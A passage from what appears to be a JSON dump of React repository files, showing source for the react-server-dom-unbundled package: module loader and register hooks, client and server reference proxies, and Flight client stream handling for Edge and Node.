Promise<{source: Source}> {\n  const transformed = await defaultTransformSource(\n    source,\n    context,\n    defaultTransformSource,\n  );\n  if (context.format === 'module') {\n    const transformedSource = transformed.source;\n    if (typeof transformedSource !== 'string') {\n      throw new Error('Expected source to have been transformed to a string.');\n    }\n    const newSrc = await transformModuleIfNeeded(\n      transformedSource,\n      context.url,\n      (url: string, ctx: LoadContext, defaultLoad: LoadFunction) => {\n        return loadClientImport(url, defaultTransformSource);\n      },\n    );\n    return {source: newSrc};\n  }\n  return transformed;\n}\n\nexport async function load(\n  url: string,\n  context: LoadContext,\n  defaultLoad: LoadFunction,\n): Promise<{format: string, shortCircuit?: boolean, source: Source}> {\n  const result = await defaultLoad(url, context, defaultLoad);\n  if (result.format === 'module') {\n    if (typeof result.source !== 'string') {\n      throw new Error('Expected source to have been loaded into a string.');\n    }\n    const newSrc = await transformModuleIfNeeded(\n      result.source,\n      url,\n      defaultLoad,\n    );\n    return {format: 'module', source: newSrc};\n  }\n  return result;\n}\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/src/ReactFlightUnbundledNodeRegister.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst acorn = require('acorn-loose');\n\nconst url = require('url');\n\nconst Module = require('module');\n\nmodule.exports = function register() {\n  const Server: any = require('react-server-dom-unbundled/server');\n  const registerServerReference = Server.registerServerReference;\n  const createClientModuleProxy = Server.createClientModuleProxy;\n\n  // $FlowFixMe[prop-missing] found when upgrading Flow\n  const originalCompile = Module.prototype._compile;\n\n  // $FlowFixMe[prop-missing] found when upgrading Flow\n  Module.prototype._compile = function (\n    this: any,\n    content: string,\n    filename: string,\n  ): void {\n    // Do a quick check for the exact string. If it doesn't exist, don't\n    // bother parsing.\n    if (\n      content.indexOf('use client') === -1 &&\n      content.indexOf('use server') === -1\n    ) {\n      return originalCompile.apply(this, arguments);\n    }\n\n    let body;\n    try {\n      body = acorn.parse(content, {\n        ecmaVersion: '2024',\n        sourceType: 'source',\n      }).body;\n    } catch (x) {\n      console['error']('Error parsing %s %s', url, x.message);\n      return originalCompile.apply(this, arguments);\n    }\n\n    let useClient = false;\n    let useServer = false;\n    for (let i = 0; i < body.length; i++) {\n      const node = body[i];\n      if (node.type !== 'ExpressionStatement' || !node.directive) {\n        break;\n      }\n      if (node.directive === 'use client') {\n        useClient = true;\n      }\n      if (node.directive === 'use server') {\n        useServer = true;\n      }\n    }\n\n    if (!useClient && !useServer) {\n      return originalCompile.apply(this, arguments);\n    }\n\n    if (useClient && useServer) {\n      throw new Error(\n        'Cannot have both \"use client\" and \"use server\" directives in the same file.',\n      );\n    }\n\n    if (useClient) {\n      const moduleId: string = (url.pathToFileURL(filename).href: any);\n      this.exports = createClientModuleProxy(moduleId);\n    }\n\n    if (useServer) {\n      originalCompile.apply(this, arguments);\n\n      const moduleId: string = (url.pathToFileURL(filename).href: any);\n\n      const exports = this.exports;\n\n      // This module is imported server to server, but opts in to exposing functions by\n      // reference. If there are any functions in the export.\n      if (typeof exports === 'function') {\n        // The module exports a function directly,\n        registerServerReference(\n          (exports: any),\n          moduleId,\n          // Represents the whole Module object instead of a particular import.\n          null,\n        );\n      } else {\n        const keys = Object.keys(exports);\n        for (let i = 0; i < keys.length; i++) {\n          const key = keys[i];\n          const value = exports[keys[i]];\n          if (typeof value === 'function') {\n            registerServerReference((value: any), moduleId, key);\n          }\n        }\n      }\n    }\n  };\n};\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/src/ReactFlightUnbundledReferences.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactClientValue} from 'react-server/src/ReactFlightServer';\n\nexport type ServerReference<T: Function> = T & {\n  $$typeof: symbol,\n  $$id: string,\n  $$bound: null | Array<ReactClientValue>,\n  $$location?: Error,\n};\n\n// eslint-disable-next-line no-unused-vars\nexport type ClientReference<T> = {\n  $$typeof: symbol,\n  $$id: string,\n  $$async: boolean,\n};\n\nconst CLIENT_REFERENCE_TAG = Symbol.for('react.client.reference');\nconst SERVER_REFERENCE_TAG = Symbol.for('react.server.reference');\n\nexport function isClientReference(reference: Object): boolean {\n  return reference.$$typeof === CLIENT_REFERENCE_TAG;\n}\n\nexport function isServerReference(reference: Object): boolean {\n  return reference.$$typeof === SERVER_REFERENCE_TAG;\n}\n\nexport function registerClientReference<T>(\n  proxyImplementation: any,\n  id: string,\n  exportName: string,\n): ClientReference<T> {\n  return registerClientReferenceImpl(\n    proxyImplementation,\n    id + '#' + exportName,\n    false,\n  );\n}\n\nfunction registerClientReferenceImpl<T>(\n  proxyImplementation: any,\n  id: string,\n  async: boolean,\n): ClientReference<T> {\n  return Object.defineProperties(proxyImplementation, {\n    $$typeof: {value: CLIENT_REFERENCE_TAG},\n    $$id: {value: id},\n    $$async: {value: async},\n  });\n}\n\n// $FlowFixMe[method-unbinding]\nconst FunctionBind = Function.prototype.bind;\n// $FlowFixMe[method-unbinding]\nconst ArraySlice = Array.prototype.slice;\nfunction bind(this: ServerReference<any>): any {\n  // $FlowFixMe[incompatible-call]\n  const newFn = FunctionBind.apply(this, arguments);\n  if (this.$$typeof === SERVER_REFERENCE_TAG) {\n    if (__DEV__) {\n      const thisBind = arguments[0];\n      if (thisBind != null) {\n        console.error(\n          'Cannot bind \"this\" of a Server Action. Pass null or undefined as the first argument to .bind().',\n        );\n      }\n    }\n    const args = ArraySlice.call(arguments, 1);\n    const $$typeof = {value: SERVER_REFERENCE_TAG};\n    const $$id = {value: this.$$id};\n    const $$bound = {value: this.$$bound ? this.$$bound.concat(args) : args};\n    return Object.defineProperties(\n      (newFn: any),\n      (__DEV__\n        ? {\n            $$typeof,\n            $$id,\n            $$bound,\n            $$location: {\n              value: this.$$location,\n              configurable: true,\n            },\n            bind: {value: bind, configurable: true},\n          }\n        : {\n            $$typeof,\n            $$id,\n            $$bound,\n            bind: {value: bind, configurable: true},\n          }) as PropertyDescriptorMap,\n    );\n  }\n  return newFn;\n}\n\nconst serverReferenceToString = {\n  value: () => 'function () { [omitted code] }',\n  configurable: true,\n  writable: true,\n};\n\nexport function registerServerReference<T: Function>(\n  reference: T,\n  id: string,\n  exportName: null | string,\n): ServerReference<T> {\n  const $$typeof = {value: SERVER_REFERENCE_TAG};\n  const $$id = {\n    value: exportName === null ? id : id + '#' + exportName,\n    configurable: true,\n  };\n  const $$bound = {value: null, configurable: true};\n  return Object.defineProperties(\n    (reference: any),\n    __DEV__\n      ? ({\n          $$typeof,\n          $$id,\n          $$bound,\n          $$location: {\n            value: Error('react-stack-top-frame'),\n            configurable: true,\n          },\n          bind: {value: bind, configurable: true},\n          toString: serverReferenceToString,\n        } as PropertyDescriptorMap)\n      : ({\n          $$typeof,\n          $$id,\n          $$bound,\n          bind: {value: bind, configurable: true},\n          toString: serverReferenceToString,\n        } as PropertyDescriptorMap),\n  );\n}\n\nconst PROMISE_PROTOTYPE = Promise.prototype;\n\nconst deepProxyHandlers: Proxy$traps<mixed> = {\n  get: function (\n    target: Function,\n    name: string | symbol,\n    receiver: Proxy<Function>,\n  ) {\n    switch (name) {\n      // These names are read by the Flight runtime if you end up using the exports object.\n      case '$$typeof':\n        // These names are a little too common. We should probably have a way to\n        // have the Flight runtime extract the inner target instead.\n        return target.$$typeof;\n      case '$$id':\n        return target.$$id;\n      case '$$async':\n        return target.$$async;\n      case 'name':\n        return target.name;\n      case 'displayName':\n        return undefined;\n      // We need to special case this because createElement reads it if we pass this\n      // reference.\n      case 'defaultProps':\n        return undefined;\n      // React looks for debugInfo on thenables.\n      case '_debugInfo':\n        return undefined;\n      // Avoid this attempting to be serialized.\n      case 'toJSON':\n        return undefined;\n      case Symbol.toPrimitive:\n        // $FlowFixMe[prop-missing]\n        return Object.prototype[Symbol.toPrimitive];\n      case Symbol.toStringTag:\n        // $FlowFixMe[prop-missing]\n        return Object.prototype[Symbol.toStringTag];\n      case 'Provider':\n        // Context.Provider === Context in React, so return the same reference.\n        // This allows server components to render <ClientContext.Provider>\n        // which will be serialized and executed on the client.\n        return receiver;\n      case 'then':\n        throw new Error(\n          `Cannot await or return from a thenable. ` +\n            `You cannot await a client module from a server component.`,\n        );\n    }\n    // eslint-disable-next-line react-internal/safe-string-coercion\n    const expression = String(target.name) + '.' + String(name);\n    throw new Error(\n      `Cannot access ${expression} on the server. ` +\n        'You cannot dot into a client module from a server component. ' +\n        'You can only pass the imported name through.',\n    );\n  },\n  set: function () {\n    throw new Error('Cannot assign to a client module from a server module.');\n  },\n};\n\nfunction getReference(target: Function, name: string | symbol): $FlowFixMe {\n  switch (name) {\n    // These names are read by the Flight runtime if you end up using the exports object.\n    case '$$typeof':\n      return target.$$typeof;\n    case '$$id':\n      return target.$$id;\n    case '$$async':\n      return target.$$async;\n    case 'name':\n      return target.name;\n    // We need to special case this because createElement reads it if we pass this\n    // reference.\n    case 'defaultProps':\n      return undefined;\n    // React looks for debugInfo on thenables.\n    case '_debugInfo':\n      return undefined;\n    // Avoid this attempting to be serialized.\n    case 'toJSON':\n      return undefined;\n    case Symbol.toPrimitive:\n      // $FlowFixMe[prop-missing]\n      return Object.prototype[Symbol.toPrimitive];\n    case Symbol.toStringTag:\n      // $FlowFixMe[prop-missing]\n      return Object.prototype[Symbol.toStringTag];\n    case '__esModule':\n      // Something is conditionally checking which export to use. We'll pretend to be\n      // an ESM compat module but then we'll check again on the client.\n      const moduleId = target.$$id;\n      target.default = registerClientReferenceImpl(\n        (function () {\n          throw new Error(\n            `Attempted to call the default export of ${moduleId} from the server ` +\n              `but it's on the client. It's not possible to invoke a client function from ` +\n              `the server, it can only be rendered as a Component or passed to props of a ` +\n              `Client Component.`,\n          );\n        }: any),\n        target.$$id + '#',\n        target.$$async,\n      );\n      return true;\n    case 'then':\n      if (target.then) {\n        // Use a cached value\n        return target.then;\n      }\n      if (!target.$$async) {\n        // If this module is expected to return a Promise (such as an AsyncModule) then\n        // we should resolve that with a client reference that unwraps the Promise on\n        // the client.\n\n        const clientReference: ClientReference<any> =\n          registerClientReferenceImpl(({}: any), target.$$id, true);\n        const proxy = new Proxy(clientReference, proxyHandlers);\n\n        // Treat this as a resolved Promise for React's use()\n        target.status = 'fulfilled';\n        target.value = proxy;\n\n        const then = (target.then = registerClientReferenceImpl(\n          (function then(resolve, reject: any) {\n            // Expose to React.\n            return Promise.resolve(resolve(proxy));\n          }: any),\n          // If this is not used as a Promise but is treated as a reference to a `.then`\n          // export then we should treat it as a reference to that name.\n          target.$$id + '#then',\n          false,\n        ));\n        return then;\n      } else {\n        // Since typeof .then === 'function' is a feature test we'd continue recursing\n        // indefinitely if we return a function. Instead, we return an object reference\n        // if we check further.\n        return undefined;\n      }\n  }\n  if (typeof name === 'symbol') {\n    throw new Error(\n      'Cannot read Symbol exports. Only named exports are supported on a client module ' +\n        'imported on the server.',\n    );\n  }\n  let cachedReference = target[name];\n  if (!cachedReference) {\n    const reference: ClientReference<any> = registerClientReferenceImpl(\n      (function () {\n        throw new Error(\n          // eslint-disable-next-line react-internal/safe-string-coercion\n          `Attempted to call ${String(name)}() from the server but ${String(\n            name,\n          )} is on the client. ` +\n            `It's not possible to invoke a client function from the server, it can ` +\n            `only be rendered as a Component or passed to props of a Client Component.`,\n        );\n      }: any),\n      target.$$id + '#' + name,\n      target.$$async,\n    );\n    Object.defineProperty((reference: any), 'name', {value: name});\n    cachedReference = target[name] = new Proxy(reference, deepProxyHandlers);\n  }\n  return cachedReference;\n}\n\nconst proxyHandlers = {\n  get: function (\n    target: Function,\n    name: string | symbol,\n    receiver: Proxy<Function>,\n  ): $FlowFixMe {\n    return getReference(target, name);\n  },\n  getOwnPropertyDescriptor: function (\n    target: Function,\n    name: string | symbol,\n  ): $FlowFixMe {\n    let descriptor = Object.getOwnPropertyDescriptor(target, name);\n    if (!descriptor) {\n      descriptor = {\n        value: getReference(target, name),\n        writable: false,\n        configurable: false,\n        enumerable: false,\n      };\n      Object.defineProperty(target, name, descriptor);\n    }\n    return descriptor;\n  },\n  getPrototypeOf(target: Function): Object {\n    // Pretend to be a Promise in case anyone asks.\n    return PROMISE_PROTOTYPE;\n  },\n  set: function (): empty {\n    throw new Error('Cannot assign to a client module from a server module.');\n  },\n};\n\nexport function createClientModuleProxy<T>(\n  moduleId: string,\n): ClientReference<T> {\n  const clientReference: ClientReference<T> = registerClientReferenceImpl(\n    ({}: any),\n    // Represents the whole Module object instead of a particular import.\n    moduleId,\n    false,\n  );\n  return new Proxy(clientReference, proxyHandlers);\n}\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/src/client/ReactFlightClientConfigBundlerNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Thenable,\n  FulfilledThenable,\n  RejectedThenable,\n} from 'shared/ReactTypes';\n\nimport type {ImportMetadata} from '../shared/ReactFlightImportMetadata';\nimport type {ModuleLoading} from 'react-client/src/ReactFlightClientConfig';\n\nimport {\n  ID,\n  CHUNKS,\n  NAME,\n  isAsyncImport,\n} from '../shared/ReactFlightImportMetadata';\nimport {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig';\n\nimport hasOwnProperty from 'shared/hasOwnProperty';\n\nexport type ServerConsumerModuleMap = {\n  [clientId: string]: {\n    [clientExportName: string]: ClientReference<any>,\n  },\n};\n\nexport type ServerManifest = void;\n\nexport type ServerReferenceId = string;\n\nexport opaque type ClientReferenceMetadata = ImportMetadata;\n\n// eslint-disable-next-line no-unused-vars\nexport opaque type ClientReference<T> = {\n  specifier: string,\n  name: string,\n  async?: boolean,\n};\n\n// The reason this function needs to defined here in this file instead of just\n// being exported directly from the WebpackDestination... file is because the\n// ClientReferenceMetadata is opaque and we can't unwrap it there.\n// This should get inlined and we could also just implement an unwrapping function\n// though that risks it getting used in places it shouldn't be. This is unfortunate\n// but currently it seems to be the best option we have.\nexport function prepareDestinationForModule(\n  moduleLoading: ModuleLoading,\n  nonce: ?string,\n  metadata: ClientReferenceMetadata,\n) {\n  prepareDestinationWithChunks(moduleLoading, metadata[CHUNKS], nonce);\n}\n\nexport function resolveClientReference<T>(\n  bundlerConfig: ServerConsumerModuleMap,\n  metadata: ClientReferenceMetadata,\n): ClientReference<T> {\n  const moduleExports = bundlerConfig[metadata[ID]];\n  let resolvedModuleData = moduleExports && moduleExports[metadata[NAME]];\n  let name;\n  if (resolvedModuleData) {\n    // The potentially aliased name.\n    name = resolvedModuleData.name;\n  } else {\n    // If we don't have this specific name, we might have the full module.\n    resolvedModuleData = moduleExports && moduleExports['*'];\n    if (!resolvedModuleData) {\n      throw new Error(\n        'Could not find the module \"' +\n          metadata[ID] +\n          '\" in the React Server Consumer Manifest. ' +\n          'This is probably a bug in the React Server Components bundler.',\n      );\n    }\n    name = metadata[NAME];\n  }\n  return {\n    specifier: resolvedModuleData.specifier,\n    name: name,\n    async: isAsyncImport(metadata),\n  };\n}\n\nexport function resolveServerReference<T>(\n  bundlerConfig: ServerManifest,\n  id: ServerReferenceId,\n): ClientReference<T> {\n  const idx = id.lastIndexOf('#');\n  const specifier = id.slice(0, idx);\n  const name = id.slice(idx + 1);\n  return {specifier, name};\n}\n\nconst asyncModuleCache: Map<string, Thenable<any>> = new Map();\n\nexport function preloadModule<T>(\n  metadata: ClientReference<T>,\n): null | Thenable<any> {\n  const existingPromise = asyncModuleCache.get(metadata.specifier);\n  if (existingPromise) {\n    if (existingPromise.status === 'fulfilled') {\n      return null;\n    }\n    return existingPromise;\n  } else {\n    // $FlowFixMe[unsupported-syntax]\n    let modulePromise: Promise<T> = import(metadata.specifier);\n    if (metadata.async) {\n      // If the module is async, it must have been a CJS module.\n      // CJS modules are accessed through the default export in\n      // Node.js so we have to get the default export to get the\n      // full module exports.\n      modulePromise = modulePromise.then(function (value) {\n        return (value: any).default;\n      });\n    }\n    modulePromise.then(\n      value => {\n        const fulfilledThenable: FulfilledThenable<mixed> =\n          (modulePromise: any);\n        fulfilledThenable.status = 'fulfilled';\n        fulfilledThenable.value = value;\n      },\n      reason => {\n        const rejectedThenable: RejectedThenable<mixed> = (modulePromise: any);\n        rejectedThenable.status = 'rejected';\n        rejectedThenable.reason = reason;\n      },\n    );\n    asyncModuleCache.set(metadata.specifier, modulePromise);\n    return modulePromise;\n  }\n}\n\nexport function requireModule<T>(metadata: ClientReference<T>): T {\n  let moduleExports;\n  // We assume that preloadModule has been called before, which\n  // should have added something to the module cache.\n  const promise: any = asyncModuleCache.get(metadata.specifier);\n  if (promise.status === 'fulfilled') {\n    moduleExports = promise.value;\n  } else {\n    throw promise.reason;\n  }\n  if (metadata.name === '*') {\n    // This is a placeholder value that represents that the caller imported this\n    // as a CommonJS module as is.\n    return moduleExports;\n  }\n  if (metadata.name === '') {\n    // This is a placeholder value that represents that the caller accessed the\n    // default property of this if it was an ESM interop module.\n    return moduleExports.default;\n  }\n  if (hasOwnProperty.call(moduleExports, metadata.name)) {\n    return moduleExports[metadata.name];\n  }\n  return (undefined: any);\n}\n\nexport function getModuleDebugInfo<T>(metadata: ClientReference<T>): null {\n  // We don't emit any debug info on the server since we assume the loading\n  // of the bundle is insignificant on the server.\n  return null;\n}\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/src/client/ReactFlightClientConfigTargetNodeServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {preinitScriptForSSR} from 'react-client/src/ReactFlightClientConfig';\n\nexport type ModuleLoading = null | {\n  prefix: string,\n  crossOrigin?: 'use-credentials' | '',\n};\n\nexport function prepareDestinationWithChunks(\n  moduleLoading: ModuleLoading,\n  // Chunks are double-indexed [..., idx, filenamex, idy, filenamey, ...]\n  chunks: Array<string>,\n  nonce: ?string,\n) {\n  if (moduleLoading !== null) {\n    for (let i = 1; i < chunks.length; i += 2) {\n      preinitScriptForSSR(\n        moduleLoading.prefix + chunks[i],\n        nonce,\n        moduleLoading.crossOrigin,\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/src/client/ReactFlightDOMClientEdge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';\n\nimport type {\n  DebugChannel,\n  FindSourceMapURLCallback,\n  Response as FlightResponse,\n} from 'react-client/src/ReactFlightClient';\n\nimport type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';\n\nimport type {\n  ServerConsumerModuleMap,\n  ModuleLoading,\n  ServerManifest,\n} from 'react-client/src/ReactFlightClientConfig';\n\ntype ServerConsumerManifest = {\n  moduleMap: ServerConsumerModuleMap,\n  moduleLoading: ModuleLoading,\n  serverModuleMap: null | ServerManifest,\n};\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processBinaryChunk,\n  close,\n} from 'react-client/src/ReactFlightClient';\n\nimport {\n  processReply,\n  createServerReference as createServerReferenceImpl,\n} from 'react-client/src/ReactFlightReplyClient';\n\nexport {registerServerReference} from 'react-client/src/ReactFlightReplyClient';\n\nimport type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\nfunction noServerCall() {\n  throw new Error(\n    'Server Functions cannot be called during initial render. ' +\n      'This would create a fetch waterfall. Try to use a Server Component ' +\n      'to pass data to Client Components instead.',\n  );\n}\n\nexport function createServerReference<A: Iterable<any>, T>(\n  id: any,\n  callServer: any,\n): (...A) => Promise<T> {\n  return createServerReferenceImpl(id, noServerCall);\n}\n\ntype EncodeFormActionCallback = <A>(\n  id: any,\n  args: Promise<A>,\n) => ReactCustomFormAction;\n\nexport type Options = {\n  serverConsumerManifest: ServerConsumerManifest,\n  nonce?: string,\n  encodeFormAction?: EncodeFormActionCallback,\n  temporaryReferences?: TemporaryReferenceSet,\n  unstable_allowPartialStream?: boolean,\n  findSourceMapURL?: FindSourceMapURLCallback,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n  // For the Edge client we only support a single-direction debug channel.\n  debugChannel?: {readable?: ReadableStream, ...},\n};\n\nfunction createResponseFromOptions(options: Options) {\n  const debugChannel: void | DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {\n          hasReadable: options.debugChannel.readable !== undefined,\n          callback: null,\n        }\n      : undefined;\n\n  return createResponse(\n    options.serverConsumerManifest.moduleMap,\n    options.serverConsumerManifest.serverModuleMap,\n    options.serverConsumerManifest.moduleLoading,\n    noServerCall,\n    options.encodeFormAction,\n    typeof options.nonce === 'string' ? options.nonce : undefined,\n    options && options.temporaryReferences\n      ? options.temporaryReferences\n      : undefined,\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ && options && options.findSourceMapURL\n      ? options.findSourceMapURL\n      : undefined,\n    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n}\n\nfunction startReadingFromStream(\n  response: FlightResponse,\n  stream: ReadableStream,\n  onDone: () => void,\n  debugValue: mixed,\n): void {\n  const streamState = createStreamState(response, debugValue);\n  const reader = stream.getReader();\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    if (done) {\n      return onDone();\n    }\n    const buffer: Uint8Array = (value: any);\n    processBinaryChunk(response, streamState, buffer);\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    reportGlobalError(response, e);\n  }\n  reader.read().then(progress).catch(error);\n}\n\nfunction createFromReadableStream<T>(\n  stream: ReadableStream,\n  options: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n\n  if (\n    __DEV__ &&\n    options &&\n    options.debugChannel &&\n    options.debugChannel.readable\n  ) {\n    let streamDoneCount = 0;\n    const handleDone = () => {\n      if (++streamDoneCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromStream(response, options.debugChannel.readable, handleDone);\n    startReadingFromStream(response, stream, handleDone, stream);\n  } else {\n    startReadingFromStream(\n      response,\n      stream,\n      close.bind(null, response),\n      stream,\n    );\n  }\n\n  return getRoot(response);\n}\n\nfunction createFromFetch<T>(\n  promiseForResponse: Promise<Response>,\n  options: Options,\n): Thenable<T> {\n  const response: FlightResponse = createResponseFromOptions(options);\n  promiseForResponse.then(\n    function (r) {\n      if (\n        __DEV__ &&\n        options &&\n        options.debugChannel &&\n        options.debugChannel.readable\n      ) {\n        let streamDoneCount = 0;\n        const handleDone = () => {\n          if (++streamDoneCount === 2) {\n            close(response);\n          }\n        };\n        startReadingFromStream(\n          response,\n          options.debugChannel.readable,\n          handleDone,\n        );\n        startReadingFromStream(response, (r.body: any), handleDone, r);\n      } else {\n        startReadingFromStream(\n          response,\n          (r.body: any),\n          close.bind(null, response),\n          r,\n        );\n      }\n    },\n    function (e) {\n      reportGlobalError(response, e);\n    },\n  );\n  return getRoot(response);\n}\n\nfunction encodeReply(\n  value: ReactServerValue,\n  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},\n): Promise<\n  string | URLSearchParams | FormData,\n> /* We don't use URLSearchParams yet but maybe */ {\n  return new Promise((resolve, reject) => {\n    const abort = processReply(\n      value,\n      '',\n      options && options.temporaryReferences\n        ? options.temporaryReferences\n        : undefined,\n      resolve,\n      reject,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort((signal: any).reason);\n      } else {\n        const listener = () => {\n          abort((signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n  });\n}\n\nexport {createFromFetch, createFromReadableStream, encodeReply};\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/src/client/ReactFlightDOMClientNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';\n\nimport type {\n  DebugChannel,\n  FindSourceMapURLCallback,\n  Response,\n} from 'react-client/src/ReactFlightClient';\n\nimport type {\n  ServerConsumerModuleMap,\n  ModuleLoading,\n  ServerManifest,\n} from 'react-client/src/ReactFlightClientConfig';\n\ntype ServerConsumerManifest = {\n  moduleMap: ServerConsumerModuleMap,\n  moduleLoading: ModuleLoading,\n  serverModuleMap: null | ServerManifest,\n};\n\nimport type {Readable} from 'stream';\n\nimport {\n  createResponse,\n  createStreamState,\n  getRoot,\n  reportGlobalError,\n  processStringChunk,\n  processBinaryChunk,\n  close,\n} from 'react-client/src/ReactFlightClient';\n\nexport * from './ReactFlightDOMClientEdge';\n\nfunction noServerCall() {\n  throw new Error(\n    'Server Functions cannot be called during initial render. ' +\n      'This would create a fetch waterfall. Try to use a Server Component ' +\n      'to pass data to Client Components instead.',\n  );\n}\n\ntype EncodeFormActionCallback = <A>(\n  id: any,\n  args: Promise<A>,\n) => ReactCustomFormAction;\n\nexport type Options = {\n  nonce?: string,\n  encodeFormAction?: EncodeFormActionCallback,\n  unstable_allowPartialStream?: boolean,\n  findSourceMapURL?: FindSourceMapURLCallback,\n  replayConsoleLogs?: boolean,\n  environmentName?: string,\n  startTime?: number,\n  endTime?: number,\n  // For the Node.js client we only support a single-direction debug channel.\n  debugChannel?: Readable,\n};\n\nfunction startReadingFromStream(\n  response: Response,\n  stream: Readable,\n  onEnd: () => void,\n): void {\n  const streamState = createStreamState(response, stream);\n\n  stream.on('data', chunk => {\n    if (typeof chunk === 'string') {\n      processStringChunk(response, streamState, chunk);\n    } else {\n      processBinaryChunk(response, streamState, chunk);\n    }\n  });\n\n  stream.on('error', error => {\n    reportGlobalError(response, error);\n  });\n\n  stream.on('end', onEnd);\n}\n\nfunction createFromNodeStream<T>(\n  stream: Readable,\n  serverConsumerManifest: ServerConsumerManifest,\n  options?: Options,\n): Thenable<T> {\n  const debugChannel: void | DebugChannel =\n    __DEV__ && options && options.debugChannel !== undefined\n      ? {hasReadable: true, callback: null}\n      : undefined;\n\n  const response: Response = createResponse(\n    serverConsumerManifest.moduleMap,\n    serverConsumerManifest.serverModuleMap,\n    serverConsumerManifest.moduleLoading,\n    noServerCall,\n    options ? options.encodeFormAction : undefined,\n    options && typeof options.nonce === 'string' ? options.nonce : undefined,\n    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences\n    options && options.unstable_allowPartialStream\n      ? options.unstable_allowPartialStream\n      : false,\n    __DEV__ && options && options.findSourceMapURL\n      ? options.findSourceMapURL\n      : undefined,\n    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false\n    __DEV__ && options && options.environmentName\n      ? options.environmentName\n      : undefined,\n    __DEV__ && options && options.startTime != null\n      ? options.startTime\n      : undefined,\n    __DEV__ && options && options.endTime != null ? options.endTime : undefined,\n    debugChannel,\n  );\n\n  if (__DEV__ && options && options.debugChannel) {\n    let streamEndedCount = 0;\n    const handleEnd = () => {\n      if (++streamEndedCount === 2) {\n        close(response);\n      }\n    };\n    startReadingFromStream(response, options.debugChannel, handleEnd);\n    startReadingFromStream(response, stream, handleEnd);\n  } else {\n    startReadingFromStream(response, stream, close.bind(null, response));\n  }\n\n  return getRoot(response);\n}\n\nexport {createFromNodeStream};\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/src/client/react-flight-dom-client.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './ReactFlightDOMClientNode';\n"
  },
  {
    "path": "packages/react-server-dom-unbundled/src/server/ReactFlightDOMServerNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Request,\n  ReactClientValue,\n} from 'react-server/src/ReactFlightServer';\nimport type {Destination} from 'react-server/src/ReactServerStreamConfigNode';\nimport type {ClientManifest} from './ReactFlightServerConfigUnbundledBundler';\nimport type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';\nimport type {Busboy} from 'busboy';\nimport type {Writable} from 'stream';\nimport type {Thenable} from 'shared/ReactTypes';\n\nimport type {Duplex} from 'stream';\n\nimport {Readable} from 'stream';\n\nimport {ASYNC_ITERATOR} from 'shared/ReactSymbols';\n\nimport {\n  createRequest,\n  createPrerenderRequest,\n  startWork,\n  startFlowing,\n  startFlowingDebug,\n  stopFlowing,\n  abort,\n  resolveDebugMessage,\n  closeDebugChannel,\n} from 'react-server/src/ReactFlightServer';\n\nimport {\n  createResponse,\n  reportGlobalError,\n  close,\n  resolveField,\n  resolveFile,\n  resolveFileInfo,\n  resolveFileChunk,\n  resolveFileComplete,\n  getRoot,\n} from 